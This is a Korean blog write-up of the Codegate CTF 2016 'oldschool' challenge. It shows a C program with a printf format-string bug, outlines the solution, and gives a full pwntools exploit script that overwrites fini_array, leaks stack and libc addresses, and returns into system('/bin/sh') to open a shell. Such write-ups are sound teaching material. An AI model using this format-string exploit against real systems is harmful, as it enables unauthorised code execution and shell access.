Codegate CTF 2016 - oldschool

해킹/시스템 2016. 3. 22. 21:08


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( )
{
	char buf[1024] = { 0, };

	printf( "YOUR INPUT :" );

	fgets( buf, 1020, stdin );

	printf( "RESPONSE :" );
	
	printf( buf );

	return 0;
}


간단한 포맷스트링이라고 생각해서 금방 풀줄 알았지만 결국 실패했던 문제.
당시 잠자다 늦게 시작해서 시간이 없다는 생각때문에 오히려 차분하게 이것저것 시도해 보지 못하고 스텍주소를 브루트 포싱으로 때려맞추려고 했었다.
결국 밴을 당했는지 나같은 사람이 많아서 서버가 터졌는지 한동안 접속이 안되서 접었었다.


이제와서 차분히 풀어보니 풀렸다.
아쉽게도 서버는 지금은 닫혀서 접속이 되지 않으나 로컬 환경에서 넷캣 으로 포트를 열어놓고 실험한 결과 잘 풀렸다.


잡설이 길었는데 결국 푼 방법은
1.fini_array부분을 포맷스트링 버그로 변경해서 다시 main을 실행시킴
2.이때 $ 인덱스를 사용해서 뒷쪽에 있는 스텍주소와 라이브러리 주소를 읽어옴(미리 디버깅으로 몇바이트 뒤에 주소들이 있는지 확인)
3.읽어온 주소를 바탕으로 계산해서 다시 RTL 공격



자세한 디버깅 과정들은 생략. 풀이코드:

#-*-encoding:utf-8-*-
#python
from pwn import *

libc_base=0x1873e
system_offset=0x3b180
sh_offset=0x15f61b

#old=remote('175.119.158.131', 17171)
old=remote('localhost', 1234)

##################fini_array에 main의 시작점을 넣고 stack과 libc의 주소를 계산하기 위한 베이스 출력
payload1=p32(0x080496dc)+p32(0x080496dc+2)+"stack:"+"%273$8x"+"lib:"+"%271$8x"

c1=0x0804-(4+4+6+8+4+8)
c2=0x849b-0x0804  ###main=0x0804849b

payload1 += "%" + str(c1) + "c"
payload1 += "%8$hn"
payload1 += "%" + str(c2) + "c"
payload1 += "%7$hn"


old.sendline(payload1)
resp=old.recv()
print resp

##################response로 부터 주소 추출
index=resp.find("stack:")+6
stack=resp[index:index+8]

index=resp.find("lib:")+4
lib=resp[index:index+8]


##################main의 리턴주소와 system, "/bin/sh"주소 계산                                       
ret_addr = int(stack, 16) - (0xbffff714 - 0xbffff61c)                                                
system=int(lib, 16) + (system_offset - libc_base)                                                    
sh=int(lib, 16) + (sh_offset - libc_base)                                                            


##################%hn으로 사용하기 위해 주소를 반으로 잘라서 저장                                    
system1=format(system, 'x')[4:8]                                                                     
system2=format(system, 'x')[:4]                                                                      
sh1=format(sh, 'x')[4:8]                                                                             
sh2=format(sh, 'x')[:4]                                                                              

dic={system1:'7', system2:'8', sh1:'9', sh2:'10'} #%x$hn에서 x에 들어갈 인덱스와 연결하기 위한 딕셔너리
arr_list=list(dic.keys())                                                                            
arr_list.sort()                                                                                      


##################정렬된 리스트로 작은수부터 해당하는 인덱스에 넣어주는 페이로드                     
payload2=p32(ret_addr)+p32(ret_addr+2)+p32(ret_addr+8)+p32(ret_addr+10)                              
payload2 += "%" + str(int(arr_list[0], 16) - 4*4) + "c"                                              
payload2 += "%" + dic.get(arr_list[0]) + "$hn"                                                       
payload2 += "%" + str(int(arr_list[1], 16) - int(arr_list[0], 16)) + "c"                             
payload2 += "%" + dic.get(arr_list[1]) + "$hn"                                                       
payload2 += "%" + str(int(arr_list[2], 16) - int(arr_list[1], 16)) + "c"                             
payload2 += "%" + dic.get(arr_list[2]) + "$hn"                                                       
payload2 += "%" + str(int(arr_list[3], 16) - int(arr_list[2], 16)) + "c"                             
payload2 += "%" + dic.get(arr_list[3]) + "$hn"                                                       

old.sendline(payload2)                                                                               

old.interactive()   








'해킹 > 시스템' 카테고리의 다른 글

Codegate CTF 2016 - miccheck  (0) 2016.03.21
nebula_level09  (0) 2015.11.07
nebula_level08  (0) 2015.11.06
nebula_level06  (1) 2015.11.04
nelbula_level05  (1) 2015.10.29
Tags
Social